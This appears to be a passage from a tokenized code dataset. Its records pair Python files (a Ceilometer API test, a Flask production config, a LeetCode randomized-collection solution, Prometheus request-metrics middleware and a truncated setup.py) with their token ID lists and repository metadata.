self.assertEqual(json.loads(content), {'meters': []})
def test_v2(self):
response, content = self.get_response('v2/meters')
self.assertEqual(response.status, 200)
self.assertEqual(json.loads(content), [])
| [
1,
529,
276,
1112,
420,
29958,
29907,
275,
1111,
3924,
29879,
29914,
27696,
8328,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
8025,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
13,
29937,
14187,
1266,
29871,
30211,
29871,
29906,
29900,
29896,
29906,
321,
25363,
749,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
13361,
29901,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
13,
29937,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
887,
1122,
4017,
13,
29937,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
418,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
13,
29937,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
2823,
278,
13,
29937,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
13,
29937,
1090,
278,
19245,
29889,
13,
13,
5215,
1732,
1982,
29906,
13,
5215,
4390,
13,
5215,
2897,
13,
5215,
4036,
13,
5215,
9909,
13,
5215,
1014,
5014,
13,
5215,
5694,
1445,
13,
5215,
931,
13,
5215,
443,
27958,
13,
13,
13,
1990,
27662,
29928,
5824,
2720,
3057,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7382,
1445,
353,
5694,
1445,
29889,
29885,
1193,
3451,
580,
13,
4706,
411,
1722,
29898,
1311,
29889,
7382,
1445,
29892,
525,
29893,
1495,
408,
13128,
29901,
13,
9651,
13128,
29889,
3539,
703,
29961,
23397,
10725,
29876,
1159,
13,
9651,
13128,
29889,
3539,
703,
9803,
29918,
9965,
29922,
1188,
597,
7640,
29905,
29876,
1159,
13,
13,
1678,
822,
1243,
29918,
2585,
16593,
29918,
3389,
29898,
1311,
1125,
13,
4706,
1014,
29886,
353,
1014,
5014,
29889,
29925,
3150,
29898,
3366,
6995,
2109,
29914,
27696,
8328,
29899,
2585,
16593,
613,
13,
462,
462,
376,
489,
2917,
29899,
1445,
16328,
29879,
29908,
1273,
1583,
29889,
7382,
1445,
2314,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1491,
29886,
29889,
10685,
3285,
29871,
29900,
29897,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2897,
29889,
348,
2324,
29898,
1311,
29889,
7382,
1445,
29897,
13,
13,
13,
1990,
27662,
12600,
17779,
3057,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7382,
1445,
353,
5694,
1445,
29889,
29885,
1193,
3451,
580,
13,
4706,
411,
1722,
29898,
1311,
29889,
7382,
1445,
29892,
525,
29893,
1495,
408,
13128,
29901,
13,
9651,
13128,
29889,
3539,
703,
29961,
23397,
10725,
29876,
1159,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
29878,
6739,
29918,
27852,
29922,
27696,
8328,
29889,
3150,
1429,
29889,
9435,
29889,
29878,
6739,
29889,
13699,
29918,
29888,
1296,
29905,
29876,
1159,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
13096,
5570,
29918,
16859,
29918,
1445,
29922,
6995,
7070,
29914,
27696,
8328,
29914,
13096,
5570,
29889,
25162,
29905,
29876,
1159,
13,
13,
1678,
822,
1243,
29918,
6717,
29918,
11808,
29918,
3389,
29898,
1311,
1125,
13,
4706,
1014,
29886,
353,
1014,
5014,
29889,
29925,
3150,
29898,
3366,
6995,
2109,
29914,
27696,
8328,
29899,
6717,
29899,
11808,
613,
13,
462,
462,
376,
489,
2917,
29899,
1445,
16328,
29879,
29908,
1273,
1583,
29889,
7382,
1445,
29892,
13,
462,
462,
376,
489,
11808,
29899,
10314,
29922,
5372,
25118,
613,
13,
462,
462,
376,
489,
11808,
29899,
978,
29922,
1357,
11808,
20068,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1491,
29886,
29889,
10685,
3285,
29871,
29900,
29897,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2897,
29889,
348,
2324,
29898,
1311,
29889,
7382,
1445,
29897,
13,
13,
13,
1990,
27662,
11713,
3057,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
2754,
29918,
637,
353,
4036,
29889,
9502,
524,
29898,
29896,
29900,
29900,
29900,
29900,
29892,
29871,
29896,
29896,
29900,
29900,
29900,
29897,
13,
4706,
1583,
29889,
1124,
353,
1732,
1982,
29906,
29889,
5506,
580,
13,
4706,
1583,
29889,
7382,
1445,
353,
5694,
1445,
29889,
29885,
1193,
3451,
580,
13,
4706,
411,
1722,
29898,
1311,
29889,
7382,
1445,
29892,
525,
29893,
1495,
408,
13128,
29901,
13,
9651,
13128,
29889,
3539,
703,
29961,
23397,
10725,
29876,
1159,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
29391,
292,
29918,
2754,
29918,
637,
16328,
29879,
29905,
29876,
29908,
1273,
1583,
29889,
2754,
29918,
637,
29897,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
29878,
6739,
29918,
27852,
29922,
27696,
8328,
29889,
3150,
1429,
29889,
9435,
29889,
29878,
6739,
29889,
13699,
29918,
29888,
1296,
29905,
29876,
1159,
13,
9651,
13128,
29889,
3539,
703,
9803,
29918,
9965,
29922,
1188,
597,
7640,
29905,
29876,
1159,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
5150,
29918,
710,
8963,
29922,
1217,
5150,
29905,
29876,
1159,
13,
9651,
13128,
29889,
3539,
29898,
13,
18884,
376,
8382,
29922,
3009,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1491,
29886,
353,
1014,
5014,
29889,
29925,
3150,
29898,
3366,
6995,
2109,
29914,
27696,
8328,
29899,
2754,
613,
13,
462,
462,
418,
376,
489,
2917,
29899,
1445,
16328,
29879,
29908,
1273,
1583,
29889,
7382,
1445,
2314,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2897,
29889,
348,
2324,
29898,
1311,
29889,
7382,
1445,
29897,
13,
4706,
1583,
29889,
1491,
29886,
29889,
21174,
580,
13,
4706,
1583,
29889,
1491,
29886,
29889,
10685,
580,
13,
13,
1678,
822,
679,
29918,
5327,
29898,
1311,
29892,
2224,
1125,
13,
4706,
3142,
353,
525,
1124,
597,
29995,
29879,
16664,
29881,
22584,
29879,
29915,
1273,
6702,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
742,
1583,
29889,
2754,
29918,
637,
29892,
2224,
29897,
13,
13,
4706,
363,
921,
297,
3464,
29898,
29896,
29900,
1125,
13,
9651,
1018,
29901,
13,
18884,
364,
29892,
274,
353,
1583,
29889,
1124,
29889,
3827,
29898,
2271,
29892,
525,
7194,
1495,
13,
9651,
5174,
9909,
29889,
2704,
29901,
13,
18884,
931,
29889,
17059,
11891,
29941,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
1491,
29886,
29889,
29886,
3028,
3285,
6213,
29897,
13,
9651,
1683,
29901,
13,
18884,
736,
364,
29892,
274,
13,
13,
1678,
822,
1243,
29918,
29894,
29896,
29898,
1311,
1125,
13,
4706,
2933,
29892,
2793,
353,
1583,
29889,
657,
29918,
5327,
877,
29894,
29896,
29914,
2527,
414,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5327,
29889,
4882,
29892,
29871,
29906,
29900,
29900,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
3126,
29889,
18132,
29898,
3051,
511,
11117,
2527,
414,
2396,
5159,
1800,
13,
13,
1678,
822,
1243,
29918,
29894,
29906,
29898,
1311,
1125,
13,
4706,
2933,
29892,
2793,
353,
1583,
29889,
657,
29918,
5327,
877,
29894,
29906,
29914,
2527,
414,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5327,
29889,
4882,
29892,
29871,
29906,
29900,
29900,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
3126,
29889,
18132,
29898,
3051,
511,
518,
2314,
13,
2
] |
configs/production.py | syz247179876/Flask-Sports | 2 | 14634 | <reponame>syz247179876/Flask-Sports
# -*- coding: utf-8 -*-
# @Time : 2020/12/1 下午11:24
# @Author : 司云中
# @File : production.py
# @Software: Pycharm
from configs.default import DefaultConfig
class ProductionConfig(DefaultConfig):
"""the config of production env"""
DEBUG = False
TESTING = False
MONGODB_DB = ''
MONGODB_HOST = ''
MONGODB_PORT = ''
MONGODB_USERNAME = ''
MONGODB_PASSWORD = ''
production_config = ProductionConfig()
| [
1,
529,
276,
1112,
420,
29958,
29879,
12339,
29906,
29946,
29955,
29896,
29955,
29929,
29947,
29955,
29953,
29914,
8754,
1278,
29899,
29903,
4011,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
732,
2481,
29871,
584,
29871,
29906,
29900,
29906,
29900,
29914,
29896,
29906,
29914,
29896,
29871,
30557,
232,
144,
139,
29896,
29896,
29901,
29906,
29946,
13,
29937,
732,
13720,
584,
29871,
30931,
31784,
30275,
13,
29937,
732,
2283,
584,
5802,
29889,
2272,
13,
29937,
732,
6295,
14093,
29901,
349,
3376,
2817,
13,
3166,
2295,
29879,
29889,
4381,
1053,
13109,
3991,
13,
13,
13,
1990,
19561,
3991,
29898,
4592,
3991,
1125,
13,
1678,
9995,
1552,
2295,
310,
5802,
8829,
15945,
29908,
13,
1678,
21681,
353,
7700,
13,
1678,
17067,
1254,
4214,
353,
7700,
13,
1678,
341,
1164,
17080,
4051,
29918,
4051,
353,
6629,
13,
1678,
341,
1164,
17080,
4051,
29918,
20832,
353,
6629,
13,
1678,
341,
1164,
17080,
4051,
29918,
15082,
353,
6629,
13,
1678,
341,
1164,
17080,
4051,
29918,
11889,
5813,
353,
6629,
13,
1678,
341,
1164,
17080,
4051,
29918,
25711,
17013,
353,
6629,
13,
13,
13,
24601,
29918,
2917,
353,
19561,
3991,
580,
13,
2
] |
Python/insert-delete-getrandom-o1-duplicates-allowed.py | RideGreg/LeetCode | 1 | 109726 | <reponame>RideGreg/LeetCode
# Time: O(1)
# Space: O(n)
# 381
# Design a data structure that supports all following operations in average O(1) time.
#
# Note: Duplicate elements are allowed.
# insert(val): Inserts an item val to the collection.
# remove(val): Removes an item val from the collection if present.
# getRandom: Returns a random element from current collection of elements.
# The probability of each element being returned is linearly related to
# the number of same value the collection contains.
# Example:
#
# // Init an empty collection.
# RandomizedCollection collection = new RandomizedCollection();
#
# // Inserts 1 to the collection. Returns true as the collection did not contain 1.
# collection.insert(1);
#
# // Inserts another 1 to the collection. Returns false as the collection contained 1. Collection now contains [1,1].
# collection.insert(1);
#
# // Inserts 2 to the collection, returns true. Collection now contains [1,1,2].
# collection.insert(2);
#
# // getRandom should return 1 with the probability 2/3, and returns 2 with the probability 1/3.
# collection.getRandom();
#
# // Removes 1 from the collection, returns true. Collection now contains [1,2].
# collection.remove(1);
#
# // getRandom should return 1 and 2 both equally likely.
# collection.getRandom();
# 动态数组 + 哈希表:简单的解决方案将所有值包括重复值存储在一个数组中,牺牲空间换时间。
import random, bisect, collections
class RandomizedCollection(object): # USE THIS
def __init__(self):
"""
Initialize your data structure here.
"""
self.__list = []
self.__v2ids = collections.defaultdict(set)
def insert(self, val):
"""
Inserts a value to the collection. Returns true if the collection did not already contain the specified element.
:type val: int
:rtype: bool
"""
self.__v2ids[val].add(len(self.__list))
self.__list.append(val)
return len(self.__v2ids[val]) == 1
def remove(self, val):
"""
Removes a value from the collection. Returns true if the collection contained the specified element.
:type val: int
:rtype: bool
"""
if val not in self.__v2ids or not self.__v2ids[val]:
return False
pos = self.__v2ids[val].pop() # pop an arbitrary elem from set
self.__v2ids[self.__list[-1]].add(pos) # add MUST done before discard, otherwise wrong for single item!!
self.__v2ids[self.__list[-1]].discard(len(self.__list)-1)
self.__list[-1], self.__list[pos] = self.__list[pos], self.__list[-1]
self.__list.pop()
return True
def getRandom(self):
"""
Get a random element from the collection.
:rtype: int
"""
return random.choice(self.__list)
# OR return self.__list[randint(0, len(self.__list)-1)]
class RandomizedCollection__CDF: # Cumulative Density Function: getRandom not O(1)
def __init__(self):
self.d = {}
def insert(self, val: int) -> bool:
if val not in self.d:
self.d[val] = 1
return True
self.d[val] += 1
return False
def remove(self, val: int) -> bool:
if val not in self.d:
return False
self.d[val] -= 1
if self.d[val] == 0:
self.d.pop(val)
return True
def getRandom(self) -> int:
psum = list(self.d.values())
for i in range(1, len(psum)):
psum[i] += psum[i - 1]
id = random.randint(1, psum[-1])
keys = list(self.d.keys())
return keys[bisect.bisect_left(psum, id)]
# Your RandomizedCollection object will be instantiated and called as such:
obj = RandomizedCollection()
print(obj.insert(1)) # True
print(obj.remove(1)) # True
print(obj.insert(3)) # True
print(obj.insert(1)) # True **
print(obj.insert(2)) # True
print(obj.insert(2)) # False
print(obj.insert(2)) # False
print(obj.remove(1)) # True
print(obj.remove(1)) # False **
print(obj.remove(3)) # True
print(obj.getRandom()) # 2
print(obj.remove(2)) # True
print(obj.insert(1)) # True
print(obj.remove(2)) # True
| [
1,
529,
276,
1112,
420,
29958,
29934,
680,
29954,
1727,
29914,
3226,
300,
3399,
13,
29937,
5974,
29901,
29871,
438,
29898,
29896,
29897,
13,
29937,
14121,
29901,
438,
29898,
29876,
29897,
13,
13,
29937,
29871,
29941,
29947,
29896,
13,
29937,
12037,
263,
848,
3829,
393,
11286,
599,
1494,
6931,
297,
6588,
438,
29898,
29896,
29897,
931,
29889,
13,
29937,
13,
29937,
3940,
29901,
18733,
5926,
3161,
526,
6068,
29889,
13,
29937,
4635,
29898,
791,
1125,
512,
643,
1372,
385,
2944,
659,
304,
278,
4333,
29889,
13,
29937,
3349,
29898,
791,
1125,
5240,
586,
267,
385,
2944,
659,
515,
278,
4333,
565,
2198,
29889,
13,
29937,
679,
17875,
29901,
16969,
263,
4036,
1543,
515,
1857,
4333,
310,
3161,
29889,
13,
29937,
450,
6976,
310,
1269,
1543,
1641,
4133,
338,
5608,
368,
4475,
304,
13,
29937,
278,
1353,
310,
1021,
995,
278,
4333,
3743,
29889,
13,
29937,
8741,
29901,
13,
29937,
13,
29937,
849,
10886,
385,
4069,
4333,
29889,
13,
29937,
16968,
1891,
7196,
4333,
353,
716,
16968,
1891,
7196,
890,
13,
29937,
13,
29937,
849,
512,
643,
1372,
29871,
29896,
304,
278,
4333,
29889,
16969,
1565,
408,
278,
4333,
1258,
451,
1712,
29871,
29896,
29889,
13,
29937,
4333,
29889,
7851,
29898,
29896,
416,
13,
29937,
13,
29937,
849,
512,
643,
1372,
1790,
29871,
29896,
304,
278,
4333,
29889,
16969,
2089,
408,
278,
4333,
11122,
29871,
29896,
29889,
14348,
1286,
3743,
518,
29896,
29892,
29896,
1822,
13,
29937,
4333,
29889,
7851,
29898,
29896,
416,
13,
29937,
13,
29937,
849,
512,
643,
1372,
29871,
29906,
304,
278,
4333,
29892,
3639,
1565,
29889,
14348,
1286,
3743,
518,
29896,
29892,
29896,
29892,
29906,
1822,
13,
29937,
4333,
29889,
7851,
29898,
29906,
416,
13,
29937,
13,
29937,
849,
679,
17875,
881,
736,
29871,
29896,
411,
278,
6976,
29871,
29906,
29914,
29941,
29892,
322,
3639,
29871,
29906,
411,
278,
6976,
29871,
29896,
29914,
29941,
29889,
13,
29937,
4333,
29889,
657,
17875,
890,
13,
29937,
13,
29937,
849,
5240,
586,
267,
29871,
29896,
515,
278,
4333,
29892,
3639,
1565,
29889,
14348,
1286,
3743,
518,
29896,
29892,
29906,
1822,
13,
29937,
4333,
29889,
5992,
29898,
29896,
416,
13,
29937,
13,
29937,
849,
679,
17875,
881,
736,
29871,
29896,
322,
29871,
29906,
1716,
18018,
5517,
29889,
13,
29937,
4333,
29889,
657,
17875,
890,
13,
13,
29937,
29871,
30846,
31613,
30354,
31263,
718,
29871,
232,
150,
139,
31841,
30746,
30383,
234,
177,
131,
31166,
30210,
31201,
232,
137,
182,
30525,
233,
164,
139,
30998,
30744,
30417,
30959,
31473,
233,
142,
175,
30908,
31810,
30959,
30946,
232,
133,
171,
30505,
30287,
30502,
30354,
31263,
30275,
30214,
234,
140,
189,
234,
140,
181,
30816,
31016,
31640,
30594,
31016,
30267,
13,
13,
5215,
4036,
29892,
2652,
522,
29892,
16250,
13,
13,
1990,
16968,
1891,
7196,
29898,
3318,
1125,
396,
501,
1660,
3446,
3235,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
9995,
13,
4706,
25455,
596,
848,
3829,
1244,
29889,
13,
4706,
9995,
13,
4706,
1583,
17255,
1761,
353,
5159,
13,
4706,
1583,
17255,
29894,
29906,
4841,
353,
16250,
29889,
4381,
8977,
29898,
842,
29897,
13,
13,
13,
1678,
822,
4635,
29898,
1311,
29892,
659,
1125,
13,
4706,
9995,
13,
4706,
512,
643,
1372,
263,
995,
304,
278,
4333,
29889,
16969,
1565,
565,
278,
4333,
1258,
451,
2307,
1712,
278,
6790,
1543,
29889,
13,
4706,
584,
1853,
659,
29901,
938,
13,
4706,
584,
29878,
1853,
29901,
6120,
13,
4706,
9995,
13,
4706,
1583,
17255,
29894,
29906,
4841,
29961,
791,
1822,
1202,
29898,
2435,
29898,
1311,
17255,
1761,
876,
13,
4706,
1583,
17255,
1761,
29889,
4397,
29898,
791,
29897,
13,
13,
4706,
736,
7431,
29898,
1311,
17255,
29894,
29906,
4841,
29961,
791,
2314,
1275,
29871,
29896,
13,
13,
13,
1678,
822,
3349,
29898,
1311,
29892,
659,
1125,
13,
4706,
9995,
13,
4706,
5240,
586,
267,
263,
995,
515,
278,
4333,
29889,
16969,
1565,
565,
278,
4333,
11122,
278,
6790,
1543,
29889,
13,
4706,
584,
1853,
659,
29901,
938,
13,
4706,
584,
29878,
1853,
29901,
6120,
13,
4706,
9995,
13,
4706,
565,
659,
451,
297,
1583,
17255,
29894,
29906,
4841,
470,
451,
1583,
17255,
29894,
29906,
4841,
29961,
791,
5387,
13,
9651,
736,
7700,
13,
13,
4706,
926,
353,
1583,
17255,
29894,
29906,
4841,
29961,
791,
1822,
7323,
580,
396,
1835,
385,
11472,
21268,
515,
731,
13,
4706,
1583,
17255,
29894,
29906,
4841,
29961,
1311,
17255,
1761,
14352,
29896,
29962,
1822,
1202,
29898,
1066,
29897,
396,
788,
341,
17321,
2309,
1434,
2313,
538,
29892,
6467,
2743,
363,
2323,
2944,
6824,
13,
4706,
1583,
17255,
29894,
29906,
4841,
29961,
1311,
17255,
1761,
14352,
29896,
29962,
1822,
2218,
7543,
29898,
2435,
29898,
1311,
17255,
1761,
6817,
29896,
29897,
13,
13,
4706,
1583,
17255,
1761,
14352,
29896,
1402,
1583,
17255,
1761,
29961,
1066,
29962,
353,
1583,
17255,
1761,
29961,
1066,
1402,
1583,
17255,
1761,
14352,
29896,
29962,
13,
4706,
1583,
17255,
1761,
29889,
7323,
580,
13,
13,
4706,
736,
5852,
13,
13,
1678,
822,
679,
17875,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
3617,
263,
4036,
1543,
515,
278,
4333,
29889,
13,
4706,
584,
29878,
1853,
29901,
938,
13,
4706,
9995,
13,
4706,
736,
4036,
29889,
16957,
29898,
1311,
17255,
1761,
29897,
13,
4706,
396,
6323,
736,
1583,
17255,
1761,
29961,
9502,
524,
29898,
29900,
29892,
7431,
29898,
1311,
17255,
1761,
6817,
29896,
4638,
13,
13,
13,
1990,
16968,
1891,
7196,
1649,
29907,
4037,
29901,
396,
315,
398,
28524,
360,
575,
537,
6680,
29901,
679,
17875,
451,
438,
29898,
29896,
29897,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
29881,
353,
6571,
13,
13,
1678,
822,
4635,
29898,
1311,
29892,
659,
29901,
938,
29897,
1599,
6120,
29901,
13,
4706,
565,
659,
451,
297,
1583,
29889,
29881,
29901,
13,
9651,
1583,
29889,
29881,
29961,
791,
29962,
353,
29871,
29896,
13,
9651,
736,
5852,
13,
4706,
1583,
29889,
29881,
29961,
791,
29962,
4619,
29871,
29896,
13,
4706,
736,
7700,
13,
13,
1678,
822,
3349,
29898,
1311,
29892,
659,
29901,
938,
29897,
1599,
6120,
29901,
13,
4706,
565,
659,
451,
297,
1583,
29889,
29881,
29901,
13,
9651,
736,
7700,
13,
4706,
1583,
29889,
29881,
29961,
791,
29962,
22361,
29871,
29896,
13,
4706,
565,
1583,
29889,
29881,
29961,
791,
29962,
1275,
29871,
29900,
29901,
13,
9651,
1583,
29889,
29881,
29889,
7323,
29898,
791,
29897,
13,
4706,
736,
5852,
13,
13,
1678,
822,
679,
17875,
29898,
1311,
29897,
1599,
938,
29901,
13,
4706,
282,
2083,
353,
1051,
29898,
1311,
29889,
29881,
29889,
5975,
3101,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
7431,
29898,
15663,
22164,
13,
9651,
282,
2083,
29961,
29875,
29962,
4619,
282,
2083,
29961,
29875,
448,
29871,
29896,
29962,
13,
4706,
1178,
353,
4036,
29889,
9502,
524,
29898,
29896,
29892,
282,
2083,
14352,
29896,
2314,
13,
4706,
6611,
353,
1051,
29898,
1311,
29889,
29881,
29889,
8149,
3101,
13,
4706,
736,
6611,
29961,
18809,
522,
29889,
18809,
522,
29918,
1563,
29898,
15663,
29892,
1178,
4638,
13,
13,
29937,
3575,
16968,
1891,
7196,
1203,
674,
367,
13213,
630,
322,
2000,
408,
1316,
29901,
13,
5415,
353,
16968,
1891,
7196,
580,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29896,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29896,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29941,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29896,
876,
396,
5852,
3579,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29906,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29906,
876,
396,
7700,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29906,
876,
396,
7700,
13,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29896,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29896,
876,
396,
7700,
3579,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29941,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
657,
17875,
3101,
396,
29871,
29906,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29906,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
7851,
29898,
29896,
876,
396,
5852,
13,
2158,
29898,
5415,
29889,
5992,
29898,
29906,
876,
396,
5852,
13,
2
] |
middleware.py | wjayesh/flask-prometheus | 0 | 46345 | <filename>middleware.py
from flask import request
import time
import sys
from prometheus_client import Counter, Histogram
APP_REQUEST_COUNT_TOTAL = Counter(
'app_request_count_total', 'App Request Count Total',
['app_name', 'method', 'endpoint']
)
APP_REQUEST_COUNT_FAILED = Counter(
'app_request_count_failed', 'App Request Count Failed',
['app_name', 'method', 'endpoint']
)
APP_REQUEST_COUNT_SUCCESS = Counter(
'app_request_count_success', 'App Request Count Succeeded',
['app_name', 'method', 'endpoint']
)
APP_REQUEST_LATENCY = Histogram('app_request_latency_seconds', 'Request latency',
['app_name', 'endpoint']
)
def start_timer():
request.start_time = time.time()
def stop_timer(response):
resp_time = time.time() - request.start_time
APP_REQUEST_LATENCY.labels('hw_app', request.path).observe(resp_time)
sys.stderr.write("Response time: %ss\n" % resp_time)
return response
def record_request_data(response):
APP_REQUEST_COUNT_TOTAL.labels('hw_app', request.method, request.path).inc()
if response.status_code is 200:
APP_REQUEST_COUNT_SUCCESS.labels('hw_app', request.method, request.path).inc()
else:
APP_REQUEST_COUNT_FAILED.labels('hw_app', request.method, request.path).inc()
sys.stderr.write("Request path: %s Request method: %s Response status: %s\n" %
(request.path, request.method, response.status_code))
return response
def setup_metrics(app):
app.before_request(start_timer)
# The order here matters since we want stop_timer
# to be executed first
app.after_request(record_request_data)
app.after_request(stop_timer) | [
1,
529,
9507,
29958,
17662,
2519,
29889,
2272,
13,
3166,
29784,
1053,
2009,
13,
5215,
931,
13,
5215,
10876,
13,
3166,
2504,
23043,
375,
29918,
4645,
1053,
315,
5336,
29892,
15179,
13342,
13,
13,
20576,
29918,
16244,
29918,
18736,
29918,
29911,
2891,
1964,
353,
315,
5336,
29898,
13,
1678,
525,
932,
29918,
3827,
29918,
2798,
29918,
7827,
742,
525,
2052,
10729,
3917,
14990,
742,
13,
1678,
6024,
932,
29918,
978,
742,
525,
5696,
742,
525,
29734,
2033,
13,
29897,
13,
13,
20576,
29918,
16244,
29918,
18736,
29918,
4519,
29902,
20566,
353,
315,
5336,
29898,
13,
1678,
525,
932,
29918,
3827,
29918,
2798,
29918,
26061,
742,
525,
2052,
10729,
3917,
18390,
742,
13,
1678,
6024,
932,
29918,
978,
742,
525,
5696,
742,
525,
29734,
2033,
13,
29897,
13,
13,
20576,
29918,
16244,
29918,
18736,
29918,
14605,
26925,
353,
315,
5336,
29898,
13,
1678,
525,
932,
29918,
3827,
29918,
2798,
29918,
8698,
742,
525,
2052,
10729,
3917,
317,
1682,
3947,
287,
742,
13,
1678,
6024,
932,
29918,
978,
742,
525,
5696,
742,
525,
29734,
2033,
13,
29897,
13,
13,
20576,
29918,
16244,
29918,
29931,
1299,
1430,
29907,
29979,
353,
15179,
13342,
877,
932,
29918,
3827,
29918,
29880,
2579,
1270,
29918,
23128,
742,
525,
3089,
23316,
1270,
742,
13,
1678,
6024,
932,
29918,
978,
742,
525,
29734,
2033,
13,
29897,
13,
13,
1753,
1369,
29918,
20404,
7295,
13,
1678,
2009,
29889,
2962,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
13,
1753,
5040,
29918,
20404,
29898,
5327,
1125,
13,
1678,
4613,
29918,
2230,
353,
931,
29889,
2230,
580,
448,
2009,
29889,
2962,
29918,
2230,
13,
1678,
12279,
29925,
29918,
16244,
29918,
29931,
1299,
1430,
29907,
29979,
29889,
21134,
877,
26828,
29918,
932,
742,
2009,
29889,
2084,
467,
711,
16349,
29898,
13713,
29918,
2230,
29897,
13,
1678,
10876,
29889,
303,
20405,
29889,
3539,
703,
5103,
931,
29901,
1273,
893,
29905,
29876,
29908,
1273,
4613,
29918,
2230,
29897,
13,
1678,
736,
2933,
13,
13,
1753,
2407,
29918,
3827,
29918,
1272,
29898,
5327,
1125,
13,
1678,
12279,
29925,
29918,
16244,
29918,
18736,
29918,
29911,
2891,
1964,
29889,
21134,
877,
26828,
29918,
932,
742,
2009,
29889,
5696,
29892,
2009,
29889,
2084,
467,
3742,
580,
13,
268,
13,
1678,
565,
2933,
29889,
4882,
29918,
401,
338,
29871,
29906,
29900,
29900,
29901,
13,
4706,
12279,
29925,
29918,
16244,
29918,
18736,
29918,
14605,
26925,
29889,
21134,
877,
26828,
29918,
932,
742,
2009,
29889,
5696,
29892,
2009,
29889,
2084,
467,
3742,
580,
13,
1678,
1683,
29901,
13,
4706,
12279,
29925,
29918,
16244,
29918,
18736,
29918,
4519,
29902,
20566,
29889,
21134,
877,
26828,
29918,
932,
742,
2009,
29889,
5696,
29892,
2009,
29889,
2084,
467,
3742,
580,
13,
13,
1678,
10876,
29889,
303,
20405,
29889,
3539,
703,
3089,
2224,
29901,
1273,
29879,
10729,
1158,
29901,
1273,
29879,
13291,
4660,
29901,
1273,
29879,
29905,
29876,
29908,
1273,
13,
9651,
313,
3827,
29889,
2084,
29892,
2009,
29889,
5696,
29892,
2933,
29889,
4882,
29918,
401,
876,
13,
1678,
736,
2933,
13,
13,
1753,
6230,
29918,
2527,
10817,
29898,
932,
1125,
13,
1678,
623,
29889,
11083,
29918,
3827,
29898,
2962,
29918,
20404,
29897,
13,
1678,
396,
450,
1797,
1244,
13750,
1951,
591,
864,
5040,
29918,
20404,
13,
1678,
396,
304,
367,
8283,
937,
13,
1678,
623,
29889,
7045,
29918,
3827,
29898,
11651,
29918,
3827,
29918,
1272,
29897,
13,
1678,
623,
29889,
7045,
29918,
3827,
29898,
9847,
29918,
20404,
29897,
2
] |
setup.py | adriangb/EasyAnimation | 1 | 121460 | <reponame>adriangb/EasyAnimation
from setuptools import setup
setup(name='easyanimation',
version='0.1',
description='Wrapper for live plotting in matplotlib and Qt',
author='<NAME>',
author_email='<EMAIL>',
url='https://github.com/adriangb/easyanimation',
package_dir={'easyanimation': 'src'},
packages=['easyanimation'],
install_requires=['numpy>=1.16', 'matplotlib>=3.1', 'pyside2>5.12',
